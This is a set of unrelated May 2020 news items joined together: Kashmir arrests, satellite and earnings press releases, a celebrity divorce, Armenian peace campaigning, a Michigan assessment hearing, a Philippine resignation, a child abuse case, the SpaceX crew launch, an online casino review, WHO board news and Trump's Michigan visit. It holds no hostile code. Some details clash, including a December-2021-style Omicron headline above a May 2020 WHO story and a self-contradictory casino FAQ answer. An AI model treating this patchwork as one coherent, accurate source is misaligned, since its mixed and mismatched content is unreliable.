"Two associates of proscribed outfit Ansar Gazwat Ul Hind and Hizb-Ul -Mujahdeenwere arrested from Tral and Awantipora areas of Pulwma district," the officials said.

The arrested persons were allegedly involved in providing shelter and logistics to the militants, besides passing sensitive information to them, the officials said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Leveraging Eutelsat's premier video hotspot at 13 East

Multi-year contract enabling Travel Africa Network to broadcast content to Europe and MENA

Regulatory News:

Eutelsat Communications' (Paris:ETL) HOTBIRD video hotspot has been selected by Travel Africa Network for the broadcast of its first High Definition African travel channel, with 100% African content dedicated to promoting tourism and hospitality in Africa.

The multi-year contract will enable Travel Africa Network to broadcast high-quality content throughout Europe and MENA, covering African gastronomy, culture, the best places to travel and stay and destination documentaries.

With its unique pan-European coverage, the high-power HOTBIRD satellites at 13 East form one of the largest broadcasting systems in EMEA, delivering content to more than 135 million TV homes in Europe, North Africa and the Middle East.

Commenting on the deal, Nicolas Baravalle, Regional Vice President, Sub Saharan Africa of Eutelsat of Eutelsat said: "We are proud to welcome Travel Africa Network to the HOTBIRD line-up. Their confidence reflects the unparalleled reach of our 13 East of both installed households and luxury hotels, and we hope it will lead the way for more African channels targeting Europe and MENA."

Maggie Mutangiri, CEO of Travel Africa Network said: "We are delighted to launch the first dedicated African travel channel on HOTBIRD, enabling us to broadcast high quality content to the widest-possible audience to promote African travel experiences and attract more visitors to our beautiful continent. We look forward to a long and fruitful relationship with Eutelsat as we look to expand our offer in the future."

About Eutelsat Communications

Founded in 1977, Eutelsat Communications is one of the world's leading satellite operators. With a global fleet of satellites and associated ground infrastructure, Eutelsat enables clients across Video, Data, Government, Fixed and Mobile Broadband markets to communicate effectively to their customers, irrespective of their location. Over 7,000 television channels operated by leading media groups are broadcast by Eutelsat to one billion viewers equipped for DTH reception or connected to terrestrial networks. Headquartered in Paris, with offices and teleports around the globe, Eutelsat assembles 1,000 men and women from 46 countries who are dedicated to delivering the highest quality of service.

For more about Eutelsat go to www.eutelsat.com

www.eutelsat.com Follow us on Twitter @Eutelsat_SA

View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005132/en/

Contacts:

Media

Joanna Darlington

Tel.: +33 1 53 98 35 30

jdarlington@eutelsat.com
HAMILTON, Bermuda, May 22, 2020 /PRNewswire/ -- Seadrill Limited is scheduled to release its first quarter 2020 results on Tuesday 2nd June 2020.

A conference call and webcast will be held at 09:00 a.m. EDT / 2:00 p.m. BST on Tuesday 2nd June 2020.

To participate, the following options are available:

A. Webcast

In order to join the webcast, please click this link.



B. Conference call

Participants can register for the conference call and receive their dial-in details by clicking this link.

Those without internet access or unable to pre-register may join the call by dialling:

USA: +1-877-317-6714

International: +1-412-317-5476



The participants will be required to request the Seadrill Limited call.



There will be a Q&A session following the presentation. Information on how to ask management questions will be given at the beginning of the Q&A session.



In order to view the presentation while listening to the conference, please download the presentation material from https://www.seadrill.com/.



If you are unable to participate in the conference call, there is an opportunity to listen to a replay on https://www.seadrill.com/ (Investor Relations).



Participant list information required: Full name & company.

CONTACT: [email protected]

This information was brought to you by Cision http://news.cision.com

https://news.cision.com/seadrill-limited/r/sdrl---q1-2020-earnings-release-date-and-conference-call-information,c3118181

SOURCE Seadrill Limited
Jaime King's estranged husband Kyle Newman is asking a judge for sole physical custody of their two sons amid their increasingly ugly divorce.

The director claims the Ocean's 8 actress is battling an opiod and alcohol addiction which is 'out of control', TMZ reported Friday.

An emergency hearing was requested by Newman on Friday where he asked the judged to grant him custody of their sons James, six and Leo, four.

Divorce: Jaime King's estranged husband Kyle Newman has asked for sole custody of their two sons and is claiming the actress has addiction issues, TMZ reports

However, a rep for the actress hit back, telling PEOPLE: 'This is another vicious, failed attempt of Kyle to continue his abuse of Jaime and manipulate the court system.'

'Today Kyle was denied all requests for emergency orders and the judge granted Jaime shared legal custody of their two children,' adding: 'The temporary domestic violence restraining order remains in place to protect Jaime.'

An emergency hearing was requested by Newman on Friday where he asked the judge to grant him custody of their sons; James, six and Leo, four.

The 41-year-old actress filed for divorce on Monday and requested a temporary restraining order against Newman, 44, after 12 years of marriage.

In court documents obtained by TMZ Newman claims King 'spent the last decade high' and will not get help for her opioid addictions.

The documents detail the events of January 12 when he claims he and 14 of Jaime's friends staged an intervention, asking her to get help for her issues.

Newman claims he gave her an ultimatum, get treatment 'or the kids and I need to leave for their own safety.'

According to Newman, the actress entered a facility in Utah but didn't stay long because she tried to check-in while carrying some Adderall and Clonazepam pills.

Furthermore, Newman says King has only seen the boys for three days over the last two months. He has been quarantining in Pennsylvania with their sons while King has stayed back in Los Angeles.

He says he was blindsided by the divorce filing and says that earlier this month they were talking through plans to divorce when he says King started accusing him of 'stealing' their kids, despite her 'insisting' he take the kids to Pennsylvania.

Newman claims that King became angry and 'threatened to ruin him'.

An emergency hearing was requested by Newman on Friday where he asked the judge to grant him custody of their sons; James, six and Leo, four. The couple are seen here in 2015

In court documents obtained by TMZ Newman claims King 'spent the last decade high' and will not get help for her opioid addictions

On Friday, Newman asked the judge for sole physical custody, shared legal custody and according to TMZ also requested his estranged wife move out of their LA home so he can live their with the children.

The judge rejected Newman's emergency request for custody and reportedly instructed the duo to work it out at a later court date.

The Barely Lethal director has also reportedly submitted declarations from two nannies and one of Jaime's former assistants that corroborate Newman's claims, they say the actress has an opioid addiction and has put their children in danger by - 'among other things' - driving with them while under the influence.

King battled a heroin addiction when she was a teenager and previously admitted she got into drugs when she started modeling at 14.

She was shocked into getting treatment in 1997 after her Italian photographer boyfriend Davide Sorrenti - famous for glamorizing heroin chic in the 1990s - died of a kidney ailment reportedly caused by excessive heroin use.

Help: Newman says he and 14 of Jaime's friends staged an intervention in January and gave her an ultimatum to get treatment 'or the kids and I need to leave for their own safety'

Newman has been quarantining in Pennsylvania with their sons and claims King has only seen them for three days over the last two months

Dailymail.com has contacted King's rep for comment.

This comes after it was revealed the actress is hoping they can reach a 'private resolution' as they deal with their messy divorce.

The actress, 41, filed a divorce petition on Monday, also requesting a temporary domestic violence restraining order and making an emergency motion related to child custody and visitation at the same time.

However, the judge ruled that the boys can stay with Newman for now.

King reportedly wants to avoid any more legal proceedings to make sure personal lives stay out of the spotlight, according to an insider who spoke to People.

Newman says he was blindsided by the divorce filing and restraining order Jaime filed on Monday.

Personal business: Earlier this week it was reported Jaime wants a 'private resolution' with Kyle, hoping to avoid any more legal action for the sake of their children

'Jaime was granted her request for a temporary domestic violence restraining order against Kyle from being near her or contacting her and is hopeful for a private and peaceful resolution without further court proceedings, which would be best for their children,' the source explained.

'Jaime strongly believes that their children's lives should not be discussed in the press.'

The star was granted the temporary restraining order until a hearing June 8th, but her filing for an emergency motion related to child custody and visitation was 'denied without prejudice,' according to People.

Newman said he was 'pleased' with the outcome in a statement issued via his representatives Tuesday.

The director's spokesperson told TMZ: 'Kyle was deeply saddened by Jaimes attempt to obtain court orders based solely on false claims without providing him any opportunity to respond.

'As a result, he was extremely pleased that the judge nevertheless permitted their children to remain in his care.'

At odds: The actress, 41, filed a divorce petition two days ago, also requesting a temporary domestic violence restraining order and making an emergency motion related to child custody and visitation at the same time. The judge denied the request for custody

The way they were: Newman has made a statement after she filed for divorce and obtained a temporary restraining order against him, saying he was 'deeply saddened' by what has transpired. The pair are pictured in 2018 above

A King insider corrected his characterization, telling People he 'was not granted any type of custody of the children by the court' and 'the judge simply took "no action" in regards to custody until such time as a hearing with notice to Kyle takes place.'

Newman's statement went on to say: 'As Kyle continues to solo parent, as he has done throughout this pandemic, he remains entirely focused on putting the childrens stability and welfare first.

'Kyle wants nothing but the best for his whole family and hopes that Jaime can find the peace and help she needs.'

King, 41, is reportedly 'distraught' over the entire situation.

Upset: King, 41, is reportedly 'distraught' over the entire situation. She's seen in December 2019 above

News of King's filing came hours early on Monday, according to TMZ.

King has been married to Newman, 44, since 2007 after meeting on his film Fanboys, and together they share sons James, six, and Leo, four.

The couple's marriage had come under scrutiny lately after Jaime was seen out without her wedding band.

The duo were reportedly quarantining apart in recent days, with Jaime in California and Kyle in Pennsylvania with their children, according to Life & Style.

Split: The couple has been married for 12 years before the split

Jaime and Kyle are 'taking some time apart to focus on themselves,' a source told the site.

'He's [Kyle] been staying with his family for months and is leaning on them for support,' the source added.

The couple had an instant connection that blew Jaime away.

'I don't know why, but some part of me was instantly connected to him, and I loved him so much,' Jaime told InStyle Weddings. 'It was intense. I never thought that would happen to me.'

As they were: Jaime has been married to Kyle since 2007 after meeting on his film Fanboys, and together they share sons James, six, and Leo, four (pictured 2019)

Family life: The couple with their two sons at the farmers' market in West Hollywood in 2019

They moved in together three months after first meeting, and married in November 2007 at the place they had their first date, the Greystone Park and Manor in Los Angeles.

The couple endured several trials over the course of their nearly 13 year long marriage.

Jaime was in Beverly Hills in 2018 when a man jumped onto her car with her son James inside, wrecking the windshield and leaving the pair shaken.

'I've had five miscarriages': Jaime has also been open about her struggles to have a family (pictured 2018)

The man, Paul Francis Floyd, was jailed for one year as a result of the attack, and was again sentenced to over four years in prison in 2019 after allegedly sending Jaime threats and explicit images following his initial release.

Jaime has also been open about her own fertility struggles.

The actress revealed she had suffered five miscarriages and was even diagnosed with polycystic ovary syndrome and endometriosis before finally having her first child.

'I've had five miscarriages, gone through five rounds of IVF and 26 rounds of IUI,' she told People in 2015. 'I was in severe pain all the time, emotionally and physically.'

Jaime went through five years of fertility treatments but eventually wound up getting pregnant naturally.

The couple welcomed their son Leo in 2015, but Jaime learned he had a heart defect when she was still pregnant.

The child was diagnosed with Transposition of the Great Arteries when he was 20 weeks old, and subsequently underwent major heart surgery.

No ring: King pictured without her wedding ring on in September 2019

Describing the ordeal, she told People, 'I was wheel-chaired to him every three hours, so I could breastfeed him and take care of him before he went into this huge surgery. It was a terrifying experience.'

Adding: 'But thank God for the medicine that we have now ... I knew how traumatic the experience was, how much post-traumatic stress disorder I had afterwards, and the trauma that I was experiencing before it. It's because I didn't know anybody that had gone through it and I didn't have people to talk to.

'I have a voice and I want to use that voice on behalf of my son - and I know that my son would want that. I've gotten thousands of letters from people and now I have a real community of people to talk to.'

Missing accessory: King wasn't wearing her ring in January 2020
Wife of the Prime Minister of Armenia, chairperson of the boards of trustees of the My Step and City of Smile charitable foundations Anna Hakobyan today had a meeting with women who are actively engaged in the public, political and cultural sectors in Artsakh (Nagorno-Karabakh) along with the First Lady of the President of Artsakh Kristine Haroutyunyan in Stepanakert.

During the meeting, Hakobyan presented the developments and upcoming programs of the Women for Peace campaign.

In her speech, Hakobyan stated that the goal of the Women for Peace campaign is to unite all women so that they demand that policymakers, who are mainly men, settle conflicts between different countries through peace.

We, as wives, mothers and sisters, have all the rights to demand that our husbands save the lives of our sons, brothers and husbands. Anything is possible, and all we need is the political will to reject wars and settle all conflicts through negotiations. Each side can achieve victory during negotiations, Hakobyan said, stating that many people are trying to interpret this campaign as a manifestation of weakness and that this is a wrong view.

Im certain that not only the Armenian army, but also all Armenians will stand to defend Artsakh in case of any military assault. I and, Im certain that many other women, are ready to take weapons to defend their homeland and children, and not to wage a war, but to prove that there is no alternative to peace. In this context, I believe we will spend a major part of our time on the Women for Peace campaign. As wives and mothers, we must not spare efforts to achieve longstanding peace for our countries and the region, Hakobyan said.

During the meeting, the actively engaged women of Artsakh stressed that they welcome the campaign and are ready to provide their support. Representative of the Armenian Relief Society Armine Harutyunyan highly appreciated the campaign and stressed that the women living in Artsakh know the price for peace very well.

The website of the Women for Peace campaign, which features information about the goals, values and activities of the campaign, was presented during the meeting.
Update 6:40 p.m. The article was changed to reflect that funds will come from the federal government, not the Michigan Department of Transportation.

JACKSON, MI  A public hearing on a special assessment for Martin Luther King Jr. Drive is scheduled for Tuesday.

The Jackson City Council will hear citizens input at 6:30 p.m., May 26, on the special assessment to help pay for the reconstruction of the water and sewer mains on Martin Luther King Jr. Drive from Morrell Street to Mason Street, according to the agenda.

After the hearing, the council is scheduled to vote on whether the assessment should be levied.

Public comments must be submitted to the city clerks office by 5 p.m., May 26. They can be emailed to clerksoffice@cityofjackson.org or placed in the City Hall drop box.

Federal funds could prevent water shutoffs, foreclosures, evictions in Jackson

The 20 lots will pay a total $180,334.67, if the assessment is passed, per city documents. The assessment would fund about 7 percent of the project, Spokesperson Aaron Dimick said. Part of the nearly $2.5 million projects funding will come from federal funds, Dimick said.

Property owners will pay anywhere from $50 to $150,737 if the assessment passes. Southridge Park Apartments is assessed the $150,737, per documents. The council previously passed a cap of $15,000 for residential properties.

Special assessments capped at $15,000 by Jackson City Council, Franklin Street hearing delayed

The average cost of the assessment is $1,557, excluding Southridge Park Apartments.

The stretch of MLK Jr. Drive falls in Ward 5, which is without a representative in city council after Kelsey Heck resigned in early April. A new person will be appointed and council is scheduling interviews with the candidates.

Unrelenting nastiness prompts resignation, Jackson city councilwoman says

Council will also hold a public hearing on the W. Franklin Street assessment. That assessment would cost property owners $502,927, for the 46 lots, per documents. The amount is down from $583,343, because of the $15,000 cap.

READ MORE JACKSON NEWS:

Nixon Park in Jackson wont open this summer, recreation programs canceled due to coronavirus, budget restrictions

Nurse welcomed back home from NYC, Civil War Muster canceled again: Top Jackson headlines May 16-22

3 roads in Jackson County still closed from flooding
Metro Manila (CNN Philippines, May 22)  President Rodrigo Duterte has accepted the resignation of Department of Information and Communications Technology Undersecretary Eliseo Rio Jr. that was tendered three months ago, the Palace confirmed on Friday.

"The Palace thanks Usec. Rio for his invaluable services to the nation and we wish him well in his future endeavors," Presidential Spokesperson Harry Roque said in a tweet.

Rio told CNN Philippines he was called by Roque on Friday morning to inform him of Duterte's decision. When asked why Duterte only recently accepted his resignation, he laughingly replied, "I don't know nga, baka may nakabangga ako?"

[Translation: I don't know why, maybe I collided with someone?]

Rio offered his resignation on January 31, initially citing conflicting views with other officials in the agency. Among the points of contention were the millions of pesos in confidential funds lodged with the agency and apparent friction with new appointees.

In his resignation, Rio questioned DICT's multimillion-peso confidential fund. He said Secretary Gringo Honasan had secured cash advances worth 300 million, charged against the 400 million earmarked for "confidential, intelligence and extraordinary expenses" of the agency in 2019.

But he retracted it later in a joint statement with Honasan. In this statement, he said his resignation was because of "personal reasons, and not due to any rift with the Secretary, nor to any anomaly in the Confidential Expense."

Related: Rio, Honasan 'settle differences' as Duterte awaits probe into DICT's intel funds

Rio, an engineer who served as Undersecretary for Operations in the agency, served as acting secretary of the DICT and led the bidding process for the third slot as mobile communications provider in 2018  one of the campaign promises of President Rodrigo Duterte.
DOYLESTOWN >> A man and woman will face decades in state prison for the repeated sexual assault of three children under the age of 13, abuse that they also filmed in more than 40 videos of child pornography. Leonard F. Hewitt Sr. 51, and Krystyn Anne Smock, 40, both of Bristol Township, committed the acts for more than four years...
NASA gave the green light on Friday to next week's launch of two astronauts aboard a SpaceX vessel -- the first crewed space flight from US soil in nine years and a crucial step towards ending American dependence on Russian rockets. Top officials at the US space agency and Elon Musk's company had been meeting since Thursday at the Kennedy Space Center in Florida for final checks of the Crew Dragon space capsule ahead of its maiden May 27 crewed mission. "At the end we got to a go," NASA administrator Jim Bridenstine told reporters by video of the meticulous Flight Readiness Review, which provided the go-ahead. US astronauts Robert Behnken and Douglas Hurley are scheduled to blast off from Kennedy's historic Launch Pad 39A at 4:33 pm (2033 GMT) on Wednesday for the International Space Station, arriving the next day. Asked about going ahead with the mission in the midst of the coronavirus pandemic, Behnken told reporters: "Where there's a will, there's a way." Behnken and Hurley have been in strict quarantine since May 13 because of the pandemic, but they said their actual isolation began as far back as mid-March. "We have been in quarantine probably longer than any other space crew has ever been in the history of the space program," Hurley said. He said he and Behnken have been tested twice so far for COVID-19 and "rumor has it we might be tested again before we go." American astronauts have been flying to the ISS, which currently houses two Russians and one American, on Russian rockets since the US space shuttle program was shelved in 2011 after three decades of service. Should the SpaceX mission succeed, the United States will have achieved its goal of no longer having to buy seats on Russian Soyuz rockets to send astronauts to the ISS, which has been occupied by US and Russian astronauts since 2000. - 'Embarrassing' - NASA has awarded contracts worth 3.1 billion dollars to SpaceX and 4.9 billion dollars to Boeing in a bid to give the US independent access to space once again. The original target for crewed flights replacing the shuttle was 2015, a hiatus that the late Neil Armstrong, the first man to walk on the Moon, once described as "embarrassing." Behnken and Hurley have been training for five years on the Crew Dragon capsule, which features touchscreens as opposed to the switches and buttons of the Apollo capsules of the 1960s. Unlike the space shuttle -- which suffered two fatal accidents -- the SpaceX capsule includes an emergency escape system in the event there is a problem after liftoff. At the end of the mission, which is expected to last several months, Crew Dragon will splash down in the ocean like the Apollo capsules did, slowed down by four enormous parachutes. SpaceX and Boeing are being called upon to carry out six crewed voyages each to the ISS over the next few years. If next week's Crew Dragon mission -- baptized Demo-2 -- is successful SpaceX will be the first private company ever to deliver astronauts to the ISS. Demo-1 was a flight conducted successfully in March 2019 with a mannequin aboard. Boeing conducted an uncrewed test flight of its capsule, known as Starliner, in December but it suffered multiple glitches. US-Russia cooperation is not expected to end once Crew Dragon goes into service. NASA plans to use Soyuz rockets to send some astronauts into space. SpaceX will also provide flights to non-American astronauts and Musk's company wants to eventually send tourists into space. A private three-passenger mission is planned for the second half of 2021 with tickets expected to run in the tens of millions of dollars. SpaceX's Falcon 9 rocket is raised into a vertical position on the launch pad ahead of the crewed mission to the International Space Station Elon Musk's SpaceX is hoping to become the first private company to launch astronauts into space NASA astronauts Robert Behnken (L) and Douglas Hurley
Website: www.harringtongamingonline.com

Established: 2013

Licensed: Delaware State Lottery

Initially, harness racing was a popular sporting event in the state of Delaware from the early 1920s. Kent and Sussex Raceway managed the horse racing track from 1922-1967 when it changed its name to Harrington Raceway. Harrington Raceway, on the other hand, had its primary focus on horse racing and casino operation in the state of Delaware.

From 1970-1990, the track was not making enough revenue and was on the verge of shutting its doors until in 1991 when Harrington Raceway introduced the inter-track prearrangement in an aim to boost profits for the company. When things didn't go as planned, Harrington Raceway legalized slot machines in 1994 to save the racing track.

The slot machine parlor was opened in 1996 with approximately 500 slot machines. In 2004, Harrington Raceway bought all the stakes and shares from Full House/Gtech (a previous investor in the casino venture) and the casino was named Midway Slots.

In 2007, the entire property was changed from Harrington Raceway to Harrington Raceway and Casino. Table games and high-stake gaming arenas were added by 2010 to increase profits.

In 2013, Harrington Raceway and Casino Inc. launched harringtongamingonline.com in 2013. These ventures aim at maximizing profits and boosting the revenue to keep the company afloat in the competitive gambling market.

Harrington Raceway and Casino Inc., however, does not invest heavily in its online gaming platforms because of the heavy taxes applied by the government. That is why HarringtonGamingOnline.com offers limited features as the website offers a basic familiarity of online gambling.

Is HarringtonGamingOnline.com legal and safe?

HarringtonGaming is a legitimate online gaming platform that provides secure gaming in Delaware. This online casino has been licensed and registered by the Harrington Raceway and Casino, Inc.

HarringtonGamingOnline.com ensures the safeguarding of sensitive data and information without sharing it with any third-party organization. It uses an updated RSA public/private key encryption technology that ensures all your credit card details are stored securely on the server and protected by a sophisticated firewall system.

HarringtonGamingOnline.com is licensed and regulated by the Delaware State Lottery and the Division of Gaming Enforcement as per the Casino Control Act (DGE). DGE governs all the operations of online gaming platforms to ensure that these ventures adhere strictly to the set guidelines and recommendations.

HarringtonGamingOnline.com legal status by state

Delaware

How to Sign Up for a HarringtonGamingOnline.com account

You must be of the legal age of 21 and above to register for an account at HarringtonGamingOnline.com.

When registering, you will need to submit your full name, email address, physical address, phone number, D.O.B, and a social security number. On the official websitelink, click the SIGN UP HERE! button located at the bottom left corner of the home page. You will then provide your personally identifiable information and agree to the terms and conditions of the website. After completion, you will hold a temporary Demo account that will need to be verified by uploading the relevant documents after you login.

Overall Game repertoire

Licensed software: 

Game types: Slots, Roulette, Video Poker, Jackpot

Live games: 

Slot types: video slots, instant wins

Game Themes and Features: Roulette, Cards, Table Games, Arcade, Mystery wild, Action, Wild West, Cinema.

HarringtonGamingOnline.com offers 46 different slot games, Blackjack, Poker, and Roulette. This is quite a limited number compared to the competitors in the US.

Slot games:

1-20 lines

25+ lines

Jackpot

Exclusive

Card and table games

Blackjack

Roulette

Poker games:

Texas Holdem

Seven Card Stud

Ring games

Seven Card Stud Hi-Lo

Omaha Hi-Lo

Omaha Hi

888 Holdings is an online gaming software provider and the chief software provider for Harringtons online gaming platform. It supplies HarringtonGamingOnline.com with games like Roulette, Blackjack, and slots.

888 Holdings disadvantages include limited varieties of table games and limited customer support contact form (like no live support).

Bonuses

Welcome bonus : 

: Deposit bonus : 

: Daily offers : 

: VIP bonus to loyal members : 

Promotions : 

: Deposit bonus : 

: Free spins with daily free games: 

HarringtonGamingOnline.com has a welcome bonus of$10 upon registering, classic daily bonuses for a week, and a 100% welcome poker bonus for deposit amounts of up to $500.

To get the welcome bonus, you need to make your first deposit.

Log in to https://www.haringtongamingonline.com / . Click the "Play Online Casino" button. If you have an account, you can log in. New players can SIGN UP and make their first deposit and get up to $100.

To get the 100% poker welcome bonus, you will need to make a first deposit of up to a maximum of $500 and get the same amount back. Example: If you deposit $100, you will get a $100 bonus.

Download Poker and install it on your Pc Register/LOGIN Make your first deposit to receive a 100% welcome bonus. There are different Daily classic bonuses offered if you have a PROMO CODE: Monday  Deposit $50 or more and get a $10 free play voucher on Tuesday. Tuesday  Deposit $40 or more and get the Euro Slot Pass on Wednesday. Wednesday  Deposit $20 or more and get a 10% Cashback of up to $50 if you lose on Thursday. Thursday  Deposit $25 or more and get a 25% bonus of up to $50 on Friday. Friday  Deposit $50 or more and get 25 FREE SPINS on Saturday. Saturday  Deposit $75 or more and get up to $25 Blackjack voucher on Sunday. Sunday  Deposit $50 or more and get up to $15 Jackpot vouchers on Monday.

Do you need promo code for first time registration at HarringtonGamingOnline.com?

NO. However, you need specific promo codes when playing the Daily Offers.

The browser and Mobile app Review

HarringtonGamingOnline.com is designed for both windows and mac computers. The user interface is somewhat outdated if you compare it to other sophisticated online gambling sites. The Harrington online platform supports a considerable number of windows and mac web browsers. I.e., Firefox 13 and up, internet explorer 7 and higher, Opera 12 and up, Chrome 25 and higher, and Safari 5 and higher.

You need to have an Adobe Flash Player (version 10 and higher) plug-in installed to enjoy uninterrupted access to the casinos features. The website design incorporates three bold font colors  Green to highlight follow links, White to emphasize the links, and Black for the background.

Mobile applications

iOS app: 

Android app: 

Windows app: 

Desktop app: 

HarringtonGamingOnline.com app is available for free download. You can find the iOS app in the app store andthe Android gaming app straight on the website.

To download and play all your favorite online casino games, you should follow the below steps.

iOS:

Go to the App store on your device Search for Harrington Casino Online Click the Get button. This app is only 9.4 MB

Android

Visit the official website link. https://www.haringtongamingonline.com/ Click the Download button.

App Review

The mobile apps are boosted to be more efficient and faster on supported devices. For the iOS users, the latest version (2.2.4) app does not have bugs and tends to be faster. However, poker is not available on the mobile app, and earlier versions are slow.

The Android app is not yet available on Google play store because Google play does not allow real-money gaming applications to be available for download. But, you can download the APK from the website on your device. The mobile apps interface looks outdated, and you wont be able to play your favorite poker games.

It is not easy to locate the login button in the app. Other functional features like the deposit button are also tricky to identify.

Banking methods

HarringtonGamingOnline.com accepts only three payment methods. Though, out of the three, only one method allows a deposit and withdrawal option  which is Bank Transfer (ACH).

Below is a table that outlines the deposit and withdrawal process plus their maximum and minimum service fee.

Method Deposit Withdrawal Min Max Fee Min Max Withdrawal process Fee Bank Transfer (ACH) $10 n/a 0 - Up to 8 days 0 VISA card and Debit cards $10 n/a 0 - - - MasterCard $10 n/a 0 - -

You should note that HarringtonGamingOnline.com deposit limits vary significantly depending on a players funding type, country, and account history review.

Support

Toll Number: (+1) 302-380-3691

US Toll-Free: 888-201-4083

Live chat: 

E-mail: [email protected]

[email protected] 24/7: 

Harringtongamingonline.com has an intensive FAQ section where they have tried to outline and answer as many questions as possible regarding players experiences. If you do not find what you are looking for, you can contact the customer support group using their 24/7 toll number or email for further assistance.

The Verdict

The main focus is on the user interface, banking, games, bonus, and instant play:

HarringtonGamingOnline.com has an outdated design, which spolid the user experience majorly. The bonus offers are standard, boosted by numerous daily offers.

When it comes to banking, HarringtonGamingOnline.com does not stand the competition. Only one withdrawal method is available and it takes up to 8 days. Not handy at all.

Because some games are not available for mobile users, you will not get to enjoy the full experience with HarringtonGamingOnline.

Games selection is limited and shrinks even further when it comes to mobile apps.

Overall: Harrington Raceway and Casino Inc. need to put their focus on updating its online gaming platform when it comes bothto design and functionality. So far it hardly stands a competition unless you are a loyal Harrington fan.

Pros & Cons

Pros

Lots of daily offers

Cons

Poor user interface

The mobile app has a limited game selection (only 2 table games and less than 50 slot games)

The poker room is only compatible with the desktop user interface

No live chat

Only one withdrawal method that takes up to 8 days

FAQs

1. Whats the minimum deposit amount?

The minimum deposit amount is $10.

2. Is the HarringtonGamingOnline.com app compatible with all mobile devices?

Initially, the mobile app was only compatible with the iPad, iPhone, and iPod touch. However, the newly launched Android Casino app is now available for download on the website.

3. Forgot Password.

You can retrieve your password by clicking the Forgot/change password on the login page.

4. Can I play if I am not in the state of Delaware?

To play, you must be physically located in Delaware. But, you can make deposits or withdrawals from anywhere in the United States.

5. Can I play if my mobile device does not have WiFi and GPS capabilities?

You will not be able to play for real money on the Gaming Services from a device that does not have a WiFi or GPS capability. If the WiFi or GPS has been disabled, you will not be able to play.

6. Can I hold more than one HarringtonGamingOnline.com account?

NO. You are only allowed to have a single active account.

7. Is the mobile app better than the desktop user interface?

Harringtons casino mobile app does not have the full game lineup as opposed to the desktops user interface.

8. If I am eliminated, and a tournament is canceled, will I be refunded?

No. The house rules state that if you had been eliminated before the cancellation, you would be refunded.

9. What if my internet disconnects when playing the Roulette?

If the disconnect happens after you had placed your bet and pressed the spin button, the play will continue. You will be able to view the outcome after reconnecting.

10. Internet troubleshooting.

If you are experiencing (slow-no) connections, you can troubleshoot your internet connection by using an alternative ISP or consulting with your Network provider.
MFA Ukraine names TOP 10 most attractive destinations for exports

20:30, 22.05.20 2773

Among other priority regions for exporters, the ministry will work to create favorable conditions for trade in the Middle East, Asia-Pacific region, Africa, and the Americas.
This service applies to you if your subscription has not yet expired on our old site. You will have continued access until your subscription expires; then you will need to purchase an ongoing subscription through our new system. Please contact the Parsons Sun office at (620) 421-2000 if you have any questions
'Omicron' is potentially more contagious than previous variants of the disease: WHO chief scientist

Explained: What is WHO? How does Dr Harsh Vardhan's taking charge as Executive Board chairman help

India

oi-Ajay Joseph Raj P

New Delhi, May 22: With Union Health Minister Dr Harsh Vardhan taking charge as the chairman of the World Health Organisation, India would now have a major role in terms of international public health. The Union Health Minister would succeed Dr Hiroki Nakatani of Japan, the current Chairman of the 34-member WHO Executive Board.

Amid the outbreak of the novel coronavirus, the WHO, an agency of the United Nations that is responsible for international public health, is in the forefront of global efforts in curbing the pandemic.

Explained: Why the development of coronavirus vaccine is delayed?

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

At the WHO, India is a member state of the South East Asia Region. In 2019, the bloc had decided that India's nominee would be elected to the executive board for a three-year term beginning May.

What is the WHO Executive Board?

The WHO is governed by the World Health Assembly and the Executive Board. The specialised agency's headquarter is located at Geneva, Switzerland.

Coronavirus crisis: RBI Governor extends moratorium period by 3 months

According to the WHO's website, the Board is composed of 34 members who are technically qualified in the field of health, with members being elected for three-year terms. The Health Assembly consists of 194 Member State.

The Board's chairman post is held by a rotation for one year by each of the six regional groups such as the African Region, Region of the Americas, South-East Asia Region, European Region, Eastern Mediterranean Region, and Western Pacific Region.

Coronavirus outbreak: Once again India witnesses biggest spike in COVID-19 positive cases

In January, during the main Board meeting, the agenda for the forthcoming Health Assembly was agreed upon, and resolutions for forwarding to the Assembly are adopted. A second shorter meeting is held in May, immediately after the Health Assembly, for more administrative matters.

The primary functions of the Board is to give effect to the decisions and policies of the Health Assembly, to advise it and to facilitate its work. It also creates a forum for debate on health issues and to address concerns raised by the Member States.

Fact check: Are 8,000 people per lakh population affected with coronavirus in India?

The Assembly and the Board produce three kinds of documents - Resolutions and Decisions passed by the two bodies, Official Records as published in WHO Official publications, and Documents that are presented "in session" of the two bodies.

On January 12, 1948, India became a party to the WHO Constitution. The first session of the South East Asia Regional Committee was held on October 4-5, 1948 in the office of the Indian Minister of Health. The session was inaugurated by Jawaharlal Nehru, the first Prime Minister of India.
YPSILANTI TOWNSHIP, Mich. - Pandemic politics shadowed President Donald Trump's trip to Michigan on Thursday as he highlighted lifesaving medical devices, with the president and officials from the electoral battleground state clashing over federal aid, mail-in ballots and face masks.

Hey there, time traveller!

This article was published 21/5/2020 (608 days ago), so information in it may no longer be current.

In this Monday, May 18, 2020 photo provided by the Michigan Office of the Governor, Michigan Gov. Gretchen Whitmer seeks during a news conference in Lansing, Mich. Restaurants, bars and other retail businesses can reopen in much of northern Michigan starting Friday, May 22, Gov. Whitmer announced Monday  a key step for the tourism-dependent region before the Memorial Day weekend and summer season. (Michigan Office of the Governor via AP, Pool)

YPSILANTI TOWNSHIP, Mich. - Pandemic politics shadowed President Donald Trump's trip to Michigan on Thursday as he highlighted lifesaving medical devices, with the president and officials from the electoral battleground state clashing over federal aid, mail-in ballots and face masks.

Trump visited Ypsilanti, outside Detroit, to tour a Ford Motor Co. factory that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

But his visit came amid a long-running feud with the state's Democratic governor and a day after the president threatened to withhold federal funds over the state's expanded vote-by-mail effort. And, again, the president did not publicly wear a face covering despite a warning from the state's top law enforcement officer that a refusal to do so might lead to a ban on his return.

All of the Ford executives giving Trump the tour were wearings masks, the president standing alone without one. At one point, he did take a White House-branded mask from his pocket and tell reporters he had worn it elsewhere on the tour, out of public view.

I did not want to give the press the pleasure of seeing it," Trump said.

President Donald Trump holds a face mask in his left hand as speaks during a tour of Ford's Rawsonville Components Plant that has been converted to making personal protection and medical equipment, Thursday, May 21, 2020, in Ypsilanti, Mich. (AP Photo/Alex Brandon)

